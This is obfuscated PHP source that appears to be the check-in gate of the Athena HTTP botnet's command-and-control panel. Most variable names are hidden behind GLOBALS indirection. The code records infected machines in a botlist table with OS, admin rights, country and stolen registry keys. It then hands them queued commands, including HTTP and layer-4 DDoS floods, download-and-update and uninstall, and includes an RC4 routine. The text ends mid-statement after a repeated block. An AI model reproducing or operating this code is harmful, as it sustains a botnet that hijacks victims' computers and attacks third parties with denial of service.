${
"GLOBALS"
}
["vfeill"]="k";
${
"GLOBALS"
}
["zirhvwbajhq"]="tmp";
${
"GLOBALS"
}
["cvgpsyshw"]="a";
${
"GLOBALS"
}
["tqriekvfhw"]="j";
${
"GLOBALS"
}
["texqzbf"]="i";
${
"GLOBALS"
}
["kfjybevgp"]="data";
${
"GLOBALS"
}
["tislmwd"]="pwd";
${
"GLOBALS"
}
["zwteygev"]="pwd_length";
${
"GLOBALS"
}
["pcdmlxkotoue"]="cipher";
${
"GLOBALS"
}
["lbrihcgotmm"]="box";
${
"GLOBALS"
}
["pljmbdgdrb"]="key";
${
"GLOBALS"
}
["xnjlqmg"]="OUTDATAMARKER";
${
"GLOBALS"
}
["rfskcjojdwr"]="BOTINFO";
$mnsviuuurw="BOTINFO";
${
"GLOBALS"
}
["znoepjnqpjh"]="row";
${
"GLOBALS"
}
["xwegjquh"]="result";
${
"GLOBALS"
}
["iejpngm"]="FILES";
${
"GLOBALS"
}
["qoxugy"]="EXISTS";
${
"GLOBALS"
}
["hjucdtpig"]="TIME";
${
"GLOBALS"
}
["nhkuxlw"]="BUSY";
${
"GLOBALS"
}
["ejhiyetb"]="CORES";
${
"GLOBALS"
}
["nrtxrnb"]="OS";
${
"GLOBALS"
}
["kjqbehc"]="NEW";
${
"GLOBALS"
}
["mwouxbguun"]="VER";
$lythvgekryhu="result";
$nputkpx="UID";
${
"GLOBALS"
}
["cjcsojjl"]="RETURN";
${
"GLOBALS"
}
["wevpjw"]="TASKID";
${
"GLOBALS"
}
["vgtiie"]="TYPE";
${
"GLOBALS"
}
["ollgeo"]="REGKEY";
${
"GLOBALS"
}
["mfrnfcwhshc"]="KILLED";
${
"GLOBALS"
}
["eireqqpm"]="RAM";
${
"GLOBALS"
}
["ptfquqyrb"]="NET";
${
"GLOBALS"
}
["degwbdhitbt"]="GEND";
${
"GLOBALS"
}
["xugvwryw"]="ARCH";
${
"GLOBALS"
}
["ktzvske"]="PRIV";
${
"GLOBALS"
}
["avexnuubttl"]="UID";
${
"GLOBALS"
}
["jzcflvxer"]="TYPE";
${
"GLOBALS"
}
["nwikjujf"]="VALUE";
${
"GLOBALS"
}
["zrlbnutnx"]="KEY";
${
"GLOBALS"
}
["bnvojfgdqwt"]="DATA_PART";
${
"GLOBALS"
}
["jadbzkomq"]="TASKS_OUTPUT";
${
"GLOBALS"
}
["gqczphrp"]="KEY_strtr_ARR";
${
"GLOBALS"
}
["fgmeew"]="DATA";
${
"GLOBALS"
}
["irhxjrivii"]="BOTINFO";
$hjdoxvy="DATA_ARR";
${
"GLOBALS"
}
["xhhmlktubkx"]="row";
${
"GLOBALS"
}
["sovhua"]="KEY_strtr_ARR";
${
"GLOBALS"
}
["uxnmxvq"]="country";
error_reporting(E_ERROR|E_WARNING|E_PARSE);
define("AthenaHTTP","");
$xyxrdekemj="DATA";
require_once"./config.php";
$qsbbptghvxl="INTERVAL";
$xgxvmnhubbf="KEY_strtr";
${
${
"GLOBALS"
}
["uxnmxvq"]
}
=getCountry(ip2long($_SERVER["REMOTE_ADDR"]));
$tuhnxy="TYPE";
${
"GLOBALS"
}
["qcwrwelh"]="DATA";
$gmjexoix="KEY_strtr";
$rgqpwcygwb="INTERVAL";
$pcrikpsvdvcj="DATA";
$tuuvuxhi="TASKS_OUTPUT";
$ktcpyh="KEY_strtr_ARR";
${
"GLOBALS"
}
["fxderjly"]="TASKS_OUTPUT";
${
"GLOBALS"
}
["sdksrmguypw"]="DATA";
if($_POST["a"]==NULL||$_POST["b"]==NULL||$_POST["c"]==NULL){
print"Location:".$_SERVER["REMOTE_ADDR"].":".${
${
"GLOBALS"
}
["uxnmxvq"]
}
[0];
die();
}
${
${
"GLOBALS"
}
["fxderjly"]
}
="";
${
$gmjexoix
}
=base64_decode(urldecode($_POST["a"]));
${
$ktcpyh
}
=explode(":",${
$xgxvmnhubbf
}
);
$kocbemdbkpq="DATA";
${
${
"GLOBALS"
}
["fgmeew"]
}
=urldecode($_POST["b"]);
${
$pcrikpsvdvcj
}
=strtr(${
$kocbemdbkpq
}
,${
${
"GLOBALS"
}
["gqczphrp"]
}
[1],${
${
"GLOBALS"
}
["sovhua"]
}
[0]);
$ebrrnmub="DATA_ARR";
${
$xyxrdekemj
}
=base64_decode(${
${
"GLOBALS"
}
["sdksrmguypw"]
}
);
${
"GLOBALS"
}
["xuimyisx"]="OUTDATAMARKER";
${
${
"GLOBALS"
}
["xuimyisx"]
}
=base64_encode(urldecode($_POST["c"]));
${
$hjdoxvy
}
=explode("|",${
${
"GLOBALS"
}
["qcwrwelh"]
}
);
${
$qsbbptghvxl
}
=mysql_fetch_array(mysql_query("SELECT data FROM config WHERE value = 'knock';
"));
${
${
"GLOBALS"
}
["jadbzkomq"]
}
=base64_encode("|interval=".${
$rgqpwcygwb
}
["data"]."|")."\n";
foreach(${
$ebrrnmub
}
as${
${
"GLOBALS"
}
["bnvojfgdqwt"]
}
){
if(${
${
"GLOBALS"
}
["bnvojfgdqwt"]
}
){
${
"GLOBALS"
}
["uyjardmkvxa"]="VALUE";
$rqynygqnr="FILES";
${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=explode(":",${
${
"GLOBALS"
}
["bnvojfgdqwt"]
}
);
$yqkuvlceggf="KEY";
$jkplcwsq="VALUE";
${
"GLOBALS"
}
["exebtercd"]="KEY";
$fufwytwahlw="VALUE";
${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=${
$yqkuvlceggf
}
[0];
$btkwwnl="VALUE";
${
"GLOBALS"
}
["dtidiwp"]="OS";
${
"GLOBALS"
}
["aobghoxfi"]="KEY";
${
${
"GLOBALS"
}
["nwikjujf"]
}
=explode(":",${
${
"GLOBALS"
}
["bnvojfgdqwt"]
}
);
${
"GLOBALS"
}
["wkkidjhxlqw"]="VALUE";
${
${
"GLOBALS"
}
["wkkidjhxlqw"]
}
=${
${
"GLOBALS"
}
["uyjardmkvxa"]
}
[1];
$hubhssh="VALUE";
${
"GLOBALS"
}
["gpbubfsni"]="KEY";
$pjligjxuynvm="VALUE";
${
"GLOBALS"
}
["kqmrnenys"]="KEY";
if(${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=="type")${
${
"GLOBALS"
}
["jzcflvxer"]
}
=${
$pjligjxuynvm
};
$dzetdmexher="KEY";
if(${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=="uid")${
${
"GLOBALS"
}
["avexnuubttl"]
}
=${
${
"GLOBALS"
}
["nwikjujf"]
};
${
"GLOBALS"
}
["mqwkswsn"]="VALUE";
${
"GLOBALS"
}
["qxktttetg"]="VER";
$fbllolmoceo="VALUE";
$tvibqnafdgi="CORES";
$rhtlhj="KEY";
if(${
$dzetdmexher
}
=="priv")${
${
"GLOBALS"
}
["ktzvske"]
}
=${
$hubhssh
};
if(${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=="arch")${
${
"GLOBALS"
}
["xugvwryw"]
}
=${
${
"GLOBALS"
}
["nwikjujf"]
};
if(${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=="gend")${
${
"GLOBALS"
}
["degwbdhitbt"]
}
=${
$jkplcwsq
};
${
"GLOBALS"
}
["rsxlprwb"]="KEY";
$bmkvtqiocgq="VALUE";
if(${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=="cores")${
$tvibqnafdgi
}
=${
$fbllolmoceo
};
${
"GLOBALS"
}
["abwgbzaw"]="NEW";
$pgfhhtwobn="KEY";
if(${
${
"GLOBALS"
}
["kqmrnenys"]
}
=="os")${
${
"GLOBALS"
}
["dtidiwp"]
}
=${
${
"GLOBALS"
}
["nwikjujf"]
};
if(${
$pgfhhtwobn
}
=="ver")${
${
"GLOBALS"
}
["qxktttetg"]
}
=${
$fufwytwahlw
};
if(${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=="net")${
${
"GLOBALS"
}
["ptfquqyrb"]
}
=${
${
"GLOBALS"
}
["mqwkswsn"]
};
if(${
${
"GLOBALS"
}
["aobghoxfi"]
}
=="new")${
${
"GLOBALS"
}
["abwgbzaw"]
}
=${
$btkwwnl
};
${
"GLOBALS"
}
["pudncigyvj"]="BUSY";
if(${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=="ram")${
${
"GLOBALS"
}
["eireqqpm"]
}
=${
${
"GLOBALS"
}
["nwikjujf"]
};
$lwoxvipegds="VALUE";
if(${
${
"GLOBALS"
}
["exebtercd"]
}
=="bk_killed")${
${
"GLOBALS"
}
["mfrnfcwhshc"]
}
=${
${
"GLOBALS"
}
["nwikjujf"]
};
if(${
${
"GLOBALS"
}
["rsxlprwb"]
}
=="bk_files")${
$rqynygqnr
}
=${
$lwoxvipegds
};
if(${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=="bk_keys")${
${
"GLOBALS"
}
["ollgeo"]
}
=${
$bmkvtqiocgq
};
$sozentqtaq="KEY";
if(${
$rhtlhj
}
=="busy")${
${
"GLOBALS"
}
["pudncigyvj"]
}
=${
${
"GLOBALS"
}
["nwikjujf"]
};
if(${
${
"GLOBALS"
}
["gpbubfsni"]
}
=="taskid")${
${
"GLOBALS"
}
["wevpjw"]
}
=${
${
"GLOBALS"
}
["nwikjujf"]
};
if(${
$sozentqtaq
}
=="return")${
${
"GLOBALS"
}
["cjcsojjl"]
}
=${
${
"GLOBALS"
}
["nwikjujf"]
};
}
}
if(!${
$nputkpx
}
)${
${
"GLOBALS"
}
["jadbzkomq"]
}
=base64_encode("|ERROR_NOT_IN_DB|")."\n".${
$tuuvuxhi
};
${
"GLOBALS"
}
["svvesyjws"]="BOTINFO";
if(${
${
"GLOBALS"
}
["jzcflvxer"]
}
=="on_exec"){
$eiehxuttxf="EXISTS";
$smffvm="EXISTS";
${
$smffvm
}
=(mysql_num_rows(mysql_query("SELECT id FROM botlist WHERE botid = '".${
${
"GLOBALS"
}
["avexnuubttl"]
}
."' LIMIT 1;
"))!=0);
if(!${
$eiehxuttxf
}
){
${
"GLOBALS"
}
["yiwzkh"]="NEW";
${
"GLOBALS"
}
["xynyvhhsiq"]="PRIV";
$izccbkq="GEND";
${
"GLOBALS"
}
["lhzyfvta"]="OS";
${
"GLOBALS"
}
["ujuxrnnvg"]="BUSY";
$flffelta="UID";
${
"GLOBALS"
}
["titttxyt"]="ARCH";
$dsdicuh="CORES";
$wplsowiy="TIME";
${
"GLOBALS"
}
["izbwgbghp"]="country";
mysql_query("DELETE FROM botlist WHERE ip = '".$_SERVER["REMOTE_ADDR"]."';
");
mysql_query("INSERT INTO botlist SET botid='".mysql_real_escape_string(${
$flffelta
}
)."', newbot='".mysql_real_escape_string(${
${
"GLOBALS"
}
["yiwzkh"]
}
)."', country='".mysql_real_escape_string(${
${
"GLOBALS"
}
["izbwgbghp"]
}
[0])."', country_code='".mysql_real_escape_string(${
${
"GLOBALS"
}
["uxnmxvq"]
}
[1])."', ip='".mysql_real_escape_string($_SERVER["REMOTE_ADDR"])."', os='".getOS(${
${
"GLOBALS"
}
["lhzyfvta"]
}
)."', cpu='".(${
${
"GLOBALS"
}
["titttxyt"]
}
=="x64"?"0":"1")."', type='".(${
$izccbkq
}
=="laptop"?"0":"1")."', cores='".mysql_real_escape_string(${
$dsdicuh
}
)."', version='".mysql_real_escape_string(${
${
"GLOBALS"
}
["mwouxbguun"]
}
)."', net='".mysql_real_escape_string(${
${
"GLOBALS"
}
["ptfquqyrb"]
}
)."', admin='".(${
${
"GLOBALS"
}
["xynyvhhsiq"]
}
=="admin"?"1":"0")."', busy='".(${
${
"GLOBALS"
}
["ujuxrnnvg"]
}
=="true"?"1":"0")."', lastseen='".${
$wplsowiy
}
."';
");
}
else{
$yjeiieidqq="GEND";
$nnwblfiqs="ARCH";
$msrpkhk="VER";
${
"GLOBALS"
}
["gjnwwyhg"]="NET";
mysql_query("UPDATE botlist SET ip='".mysql_real_escape_string($_SERVER["REMOTE_ADDR"])."', newbot='".mysql_real_escape_string(${
${
"GLOBALS"
}
["kjqbehc"]
}
)."', country='".mysql_real_escape_string(${
${
"GLOBALS"
}
["uxnmxvq"]
}
[0])."', country_code='".mysql_real_escape_string(${
${
"GLOBALS"
}
["uxnmxvq"]
}
[1])."', os='".getOS(${
${
"GLOBALS"
}
["nrtxrnb"]
}
)."', cpu='".(${
$nnwblfiqs
}
=="x64"?"0":"1")."', type='".(${
$yjeiieidqq
}
=="laptop"?"0":"1")."', cores='".mysql_real_escape_string(${
${
"GLOBALS"
}
["ejhiyetb"]
}
)."', version='".mysql_real_escape_string(${
$msrpkhk
}
)."', net='".mysql_real_escape_string(${
${
"GLOBALS"
}
["gjnwwyhg"]
}
)."', admin='".(${
${
"GLOBALS"
}
["ktzvske"]
}
=="admin"?"1":"0")."', busy='".(${
${
"GLOBALS"
}
["nhkuxlw"]
}
=="true"?"1":"0")."', lastseen='".${
${
"GLOBALS"
}
["hjucdtpig"]
}
."' WHERE botid='".mysql_real_escape_string(${
${
"GLOBALS"
}
["avexnuubttl"]
}
)."';
");
}
}
else if(${
$tuhnxy
}
=="repeat"){
${
"GLOBALS"
}
["jidexmqohy"]="country";
${
${
"GLOBALS"
}
["qoxugy"]
}
=(mysql_num_rows(mysql_query("SELECT id FROM botlist WHERE botid = '".${
${
"GLOBALS"
}
["avexnuubttl"]
}
."' LIMIT 1;
"))!=0);
$kwckdnv="country";
${
"GLOBALS"
}
["ysuyoer"]="RAM";
if(!${
${
"GLOBALS"
}
["qoxugy"]
}
)${
${
"GLOBALS"
}
["jadbzkomq"]
}
=base64_encode("|ERROR_NOT_IN_DB|")."\n".${
${
"GLOBALS"
}
["jadbzkomq"]
};
$lsomcrg="UID";
$dohwseqiv="TIME";
mysql_query("UPDATE botlist SET ip='".mysql_real_escape_string($_SERVER["REMOTE_ADDR"])."', country='".mysql_real_escape_string(${
$kwckdnv
}
[0])."', country_code='".mysql_real_escape_string(${
${
"GLOBALS"
}
["jidexmqohy"]
}
[1])."', ram='".mysql_real_escape_string(${
${
"GLOBALS"
}
["ysuyoer"]
}
)."', botskilled='".mysql_real_escape_string(${
${
"GLOBALS"
}
["mfrnfcwhshc"]
}
)."', files='".mysql_real_escape_string(${
${
"GLOBALS"
}
["iejpngm"]
}
)."', regkey='".mysql_real_escape_string(${
${
"GLOBALS"
}
["ollgeo"]
}
)."', busy='".(${
${
"GLOBALS"
}
["nhkuxlw"]
}
=="true"?"1":"0")."', lastseen='".${
$dohwseqiv
}
."' WHERE botid='".mysql_real_escape_string(${
$lsomcrg
}
)."';
");
}
else if(${
${
"GLOBALS"
}
["vgtiie"]
}
=="response"){
${
${
"GLOBALS"
}
["xwegjquh"]
}
=mysql_query("SELECT task FROM tasks WHERE id = '".mysql_real_escape_string(${
${
"GLOBALS"
}
["wevpjw"]
}
)."' LIMIT 1;
");
if(${
${
"GLOBALS"
}
["xwegjquh"]
}
){
$wcphrgid="row";
${
"GLOBALS"
}
["qwsbcmvrmrxs"]="row";
$zufamyjgwl="result";
${
$wcphrgid
}
=mysql_fetch_array(${
$zufamyjgwl
}
);
if(${
${
"GLOBALS"
}
["qwsbcmvrmrxs"]
}
["task"]=="!uninstall"||${
${
"GLOBALS"
}
["znoepjnqpjh"]
}
["task"]=="!download.update"){
mysql_query("DELETE FROM botlist WHERE botid = '".mysql_real_escape_string(${
${
"GLOBALS"
}
["avexnuubttl"]
}
)."';
");
}
}
if(${
${
"GLOBALS"
}
["cjcsojjl"]
}
){
${
"GLOBALS"
}
["esnrltc"]="result";
${
${
"GLOBALS"
}
["xwegjquh"]
}
=mysql_query("SELECT parameter FROM tasks WHERE id='".mysql_real_escape_string(${
${
"GLOBALS"
}
["wevpjw"]
}
)."' LIMIT 1;
");
if(mysql_num_rows(${
${
"GLOBALS"
}
["esnrltc"]
}
)==1){
${
"GLOBALS"
}
["eyppsl"]="row";
${
${
"GLOBALS"
}
["eyppsl"]
}
=mysql_fetch_array(${
${
"GLOBALS"
}
["xwegjquh"]
}
);
${
"GLOBALS"
}
["fggdpgqleq"]="RETURN";
$bzbvkcs="UID";
mysql_query("INSERT INTO webcheck SET botid='".mysql_real_escape_string(${
$bzbvkcs
}
)."', status='".mysql_real_escape_string(${
${
"GLOBALS"
}
["fggdpgqleq"]
}
)."', website='".mysql_real_escape_string(${
${
"GLOBALS"
}
["znoepjnqpjh"]
}
["parameter"])."';
");
}
}
mysql_query("INSERT INTO tasks_done SET botid='".mysql_real_escape_string(${
${
"GLOBALS"
}
["avexnuubttl"]
}
)."', taskid='".mysql_real_escape_string(${
${
"GLOBALS"
}
["wevpjw"]
}
)."';
");
}
else{
die();
}
${
${
"GLOBALS"
}
["rfskcjojdwr"]
}
=mysql_fetch_array(mysql_query("SELECT country, os, cpu, type, version, net, admin, busy FROM botlist WHERE botid = '".mysql_real_escape_string(${
${
"GLOBALS"
}
["avexnuubttl"]
}
)."' LIMIT 1;
"));
${
${
"GLOBALS"
}
["xwegjquh"]
}
=mysql_query(" SELECT id, task, parameter FROM tasks \n\t\t\t\t\t\t\tWHERE\n\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\ttasks.id <> \n\t\t\t\t\t\t\t\t\tALL\n\t\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\t\tSELECT tasks_done.taskid FROM tasks_done WHERE tasks_done.botid = '".mysql_real_escape_string(${
${
"GLOBALS"
}
["avexnuubttl"]
}
)."'\n\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\tAND \n\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\t(tasks.limit > ALL(SELECT Count(*) FROM tasks_done WHERE tasks_done.taskid = tasks.id)) OR\n\t\t\t\t\t\t\t\t\t(tasks.limit = '*')\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\tAND \n\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\t(tasks.country = '*' OR tasks.country LIKE '%".mysql_real_escape_string(${
${
"GLOBALS"
}
["rfskcjojdwr"]
}
["country"])."%') AND\n\t\t\t\t\t\t\t\t\t(tasks.os = '*' OR tasks.os LIKE '%".mysql_real_escape_string(${
${
"GLOBALS"
}
["rfskcjojdwr"]
}
["os"])."%') AND\n\t\t\t\t\t\t\t\t\t(tasks.cpu = '*' OR tasks.cpu LIKE '%".mysql_real_escape_string(${
${
"GLOBALS"
}
["rfskcjojdwr"]
}
["cpu"])."%') AND\n\t\t\t\t\t\t\t\t\t(tasks.type = '*' OR tasks.type LIKE '%".mysql_real_escape_string(${
${
"GLOBALS"
}
["svvesyjws"]
}
["type"])."%') AND\n\t\t\t\t\t\t\t\t\t(tasks.version = '*' OR tasks.version LIKE '%".mysql_real_escape_string(${
${
"GLOBALS"
}
["irhxjrivii"]
}
["version"])."%') AND\n\t\t\t\t\t\t\t\t\t(tasks.net = '*' OR tasks.net LIKE '%".mysql_real_escape_string(${
${
"GLOBALS"
}
["rfskcjojdwr"]
}
["net"])."%') AND\n\t\t\t\t\t\t\t\t\t(tasks.admin = '*' OR tasks.admin LIKE '%".mysql_real_escape_string(${
${
"GLOBALS"
}
["rfskcjojdwr"]
}
["admin"])."%') AND \n\t\t\t\t\t\t\t\t\t(tasks.botid = '*' OR tasks.botid = '".mysql_real_escape_string(${
${
"GLOBALS"
}
["avexnuubttl"]
}
)."') AND \n\t\t\t\t\t\t\t\t\t(tasks.task NOT LIKE '!ddos.http%') AND\n\t\t\t\t\t\t\t\t\t(tasks.task NOT LIKE '!ddos.layer4%')\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t);
");
while(${
${
"GLOBALS"
}
["xhhmlktubkx"]
}
=mysql_fetch_array(${
$lythvgekryhu
}
)){
${
"GLOBALS"
}
["imujbuakf"]="row";
${
"GLOBALS"
}
["fkinwgm"]="row";
${
${
"GLOBALS"
}
["jadbzkomq"]
}
.=base64_encode("|taskid=".${
${
"GLOBALS"
}
["znoepjnqpjh"]
}
["id"]."|command=".${
${
"GLOBALS"
}
["fkinwgm"]
}
["task"].(${
${
"GLOBALS"
}
["imujbuakf"]
}
["parameter"]!=""?" ".${
${
"GLOBALS"
}
["znoepjnqpjh"]
}
["parameter"]:"")."|")."\n";
}
if(${
$mnsviuuurw
}
["busy"]==0){
${
"GLOBALS"
}
["ruuhetujl"]="row";
${
${
"GLOBALS"
}
["xwegjquh"]
}
=mysql_query(" SELECT id, task, parameter FROM tasks\n\t\t\t\t\t\t\t\tWHERE\n\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\t\ttasks.id <> \n\t\t\t\t\t\t\t\t\t\tALL\n\t\t\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\t\t\tSELECT tasks_done.taskid FROM tasks_done WHERE tasks_done.botid = '".mysql_real_escape_string(${
${
"GLOBALS"
}
["avexnuubttl"]
}
)."'\n\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\tAND\n\t\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\t\t(tasks.task NOT LIKE '!ddos.browser%') AND\n\t\t\t\t\t\t\t\t\t\t(tasks.task != '!ddos.stop') AND\n\t\t\t\t\t\t\t\t\t\t(tasks.task LIKE '!ddos.%')\n\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\tLIMIT 1;
");
while(${
${
"GLOBALS"
}
["ruuhetujl"]
}
=mysql_fetch_array(${
${
"GLOBALS"
}
["xwegjquh"]
}
)){
${
"GLOBALS"
}
["lkqpjwg"]="row";
$woisrkp="row";
$monxrljs="TASKS_OUTPUT";
${
$monxrljs
}
.=base64_encode("|taskid=".${
${
"GLOBALS"
}
["lkqpjwg"]
}
["id"]."|command=".${
${
"GLOBALS"
}
["znoepjnqpjh"]
}
["task"].(${
$woisrkp
}
["parameter"]!=""?" ".${
${
"GLOBALS"
}
["znoepjnqpjh"]
}
["parameter"]:"")."|")."\n";
}
}
print${
${
"GLOBALS"
}
["xnjlqmg"]
}
.strtr(base64_encode(${
${
"GLOBALS"
}
["jadbzkomq"]
}
),${
${
"GLOBALS"
}
["gqczphrp"]
}
[0],${
${
"GLOBALS"
}
["gqczphrp"]
}
[1]);
function getOS($OS){
switch(${
${
"GLOBALS"
}
["nrtxrnb"]
}
){
case"UNKW":return"Unknown";
case"W_2K":return"Windows 2000";
case"W_XP":return"Windows XP";
case"W2K3":return"Windows 2003";
case"WVIS":return"Windows Vista";
case"WIN7":return"Windows 7";
case"WIN8":return"Windows 8";
case"ERRO":return"Unknown";
default:return"Unknown";
}
}
function getCountry($ip2long){
$xpsbjdv="ip2long";
$dklbvqnerig="result";
$exvkckk="result";
${
$exvkckk
}
=mysql_query("SELECT country_name, country_code FROM ip_country WHERE '".mysql_real_escape_string(${
$xpsbjdv
}
)."' BETWEEN ip_start_long AND ip_end_long LIMIT 1;
");
if(mysql_num_rows(${
$dklbvqnerig
}
)==0){
return array("Unknown","00");
}
else{
${
"GLOBALS"
}
["bjpwouxwnmj"]="row";
$saicsuxshrs="result";
${
${
"GLOBALS"
}
["znoepjnqpjh"]
}
=mysql_fetch_array(${
$saicsuxshrs
}
);
return array(${
${
"GLOBALS"
}
["znoepjnqpjh"]
}
[0],${
${
"GLOBALS"
}
["bjpwouxwnmj"]
}
[1]);
}
}
function rc4($data,$pwd){
${
"GLOBALS"
}
["ycqkbmfytubw"]="data_length";
$ulqbhspvkw="i";
${
"GLOBALS"
}
["artwxrgtll"]="i";
${
"GLOBALS"
}
["ogbxppcle"]="i";
${
${
"GLOBALS"
}
["pljmbdgdrb"]
}
[]="";
${
"GLOBALS"
}
["hvqtxsyc"]="i";
${
"GLOBALS"
}
["vkhwqoe"]="i";
$jhozywj="data_length";
${
"GLOBALS"
}
["jwewmg"]="i";
${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[]="";
${
"GLOBALS"
}
["qopvsqqnkouw"]="j";
${
${
"GLOBALS"
}
["pcdmlxkotoue"]
}
="";
${
${
"GLOBALS"
}
["zwteygev"]
}
=strlen(${
${
"GLOBALS"
}
["tislmwd"]
}
);
$mggdatbjnk="i";
${
${
"GLOBALS"
}
["ycqkbmfytubw"]
}
=strlen(${
${
"GLOBALS"
}
["kfjybevgp"]
}
);
for(${
${
"GLOBALS"
}
["texqzbf"]
}
=0;
${
${
"GLOBALS"
}
["jwewmg"]
}
<256;
${
${
"GLOBALS"
}
["hvqtxsyc"]
}
++){
${
"GLOBALS"
}
["ilwqrxahy"]="pwd";
${
"GLOBALS"
}
["pketlqc"]="i";
${
"GLOBALS"
}
["nyujqmztknu"]="i";
${
"GLOBALS"
}
["tnuodccme"]="i";
${
${
"GLOBALS"
}
["pljmbdgdrb"]
}
[${
${
"GLOBALS"
}
["texqzbf"]
}
]=ord(${
${
"GLOBALS"
}
["ilwqrxahy"]
}
[${
${
"GLOBALS"
}
["pketlqc"]
}
%${
${
"GLOBALS"
}
["zwteygev"]
}
]);
${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
${
"GLOBALS"
}
["nyujqmztknu"]
}
]=${
${
"GLOBALS"
}
["tnuodccme"]
};
}
for(${
${
"GLOBALS"
}
["tqriekvfhw"]
}
=${
${
"GLOBALS"
}
["vkhwqoe"]
}
=0;
${
$mggdatbjnk
}
<256;
${
${
"GLOBALS"
}
["artwxrgtll"]
}
++){
$wweapgefxr="i";
${
"GLOBALS"
}
["ncygaiwinn"]="key";
$lkkidiuraiu="i";
$bkkgdxzvke="tmp";
${
"GLOBALS"
}
["rxhutvka"]="j";
${
${
"GLOBALS"
}
["tqriekvfhw"]
}
=(${
${
"GLOBALS"
}
["rxhutvka"]
}
+${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
$lkkidiuraiu
}
]+${
${
"GLOBALS"
}
["ncygaiwinn"]
}
[${
${
"GLOBALS"
}
["texqzbf"]
}
])%256;
${
"GLOBALS"
}
["effccqiq"]="tmp";
${
${
"GLOBALS"
}
["effccqiq"]
}
=${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
${
"GLOBALS"
}
["texqzbf"]
}
];
${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
$wweapgefxr
}
]=${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
${
"GLOBALS"
}
["tqriekvfhw"]
}
];
${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
${
"GLOBALS"
}
["tqriekvfhw"]
}
]=${
$bkkgdxzvke
};
}
for(${
${
"GLOBALS"
}
["cvgpsyshw"]
}
=${
${
"GLOBALS"
}
["qopvsqqnkouw"]
}
=${
${
"GLOBALS"
}
["texqzbf"]
}
=0;
${
$ulqbhspvkw
}
<${
$jhozywj
};
${
${
"GLOBALS"
}
["ogbxppcle"]
}
++){
$knrwokc="a";
$nksybgg="box";
$ngowwquu="j";
${
"GLOBALS"
}
["sywdhvvrqex"]="j";
${
"GLOBALS"
}
["frurufv"]="a";
${
"GLOBALS"
}
["yekmurwyog"]="box";
${
"GLOBALS"
}
["ixmyfyusbv"]="box";
${
"GLOBALS"
}
["ckeqldwpb"]="tmp";
${
${
"GLOBALS"
}
["cvgpsyshw"]
}
=(${
${
"GLOBALS"
}
["cvgpsyshw"]
}
+1)%256;
${
"GLOBALS"
}
["wjfcrc"]="i";
${
${
"GLOBALS"
}
["tqriekvfhw"]
}
=(${
$ngowwquu
}
+${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
${
"GLOBALS"
}
["cvgpsyshw"]
}
])%256;
${
${
"GLOBALS"
}
["ckeqldwpb"]
}
=${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
$knrwokc
}
];
${
$nksybgg
}
[${
${
"GLOBALS"
}
["frurufv"]
}
]=${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
${
"GLOBALS"
}
["tqriekvfhw"]
}
];
${
${
"GLOBALS"
}
["yekmurwyog"]
}
[${
${
"GLOBALS"
}
["sywdhvvrqex"]
}
]=${
${
"GLOBALS"
}
["zirhvwbajhq"]
};
$mqfzqbnoaxp="data";
${
"GLOBALS"
}
["lktzvwegn"]="k";
$uwxwwxynrp="cipher";
${
${
"GLOBALS"
}
["vfeill"]
}
=${
${
"GLOBALS"
}
["ixmyfyusbv"]
}
[((${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
${
"GLOBALS"
}
["cvgpsyshw"]
}
]+${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
${
"GLOBALS"
}
["tqriekvfhw"]
}
])%256)];
${
$uwxwwxynrp
}
.=chr(ord(${
$mqfzqbnoaxp
}
[${
${
"GLOBALS"
}
["wjfcrc"]
}
])^${
${
"GLOBALS"
}
["lktzvwegn"]
}
);
}
return${
${
"GLOBALS"
}
["pcdmlxkotoue"]
};
}
${
"GLOBALS"
}
["vfeill"]="k";
${
"GLOBALS"
}
["zirhvwbajhq"]="tmp";
${
"GLOBALS"
}
["cvgpsyshw"]="a";
${
"GLOBALS"
}
["tqriekvfhw"]="j";
${
"GLOBALS"
}
["texqzbf"]="i";
${
"GLOBALS"
}
["kfjybevgp"]="data";
${
"GLOBALS"
}
["tislmwd"]="pwd";
${
"GLOBALS"
}
["zwteygev"]="pwd_length";
${
"GLOBALS"
}
["pcdmlxkotoue"]="cipher";
${
"GLOBALS"
}
["lbrihcgotmm"]="box";
${
"GLOBALS"
}
["pljmbdgdrb"]="key";
${
"GLOBALS"
}
["xnjlqmg"]="OUTDATAMARKER";
${
"GLOBALS"
}
["rfskcjojdwr"]="BOTINFO";
${
"GLOBALS"
}
["znoepjnqpjh"]="row";
${
"GLOBALS"
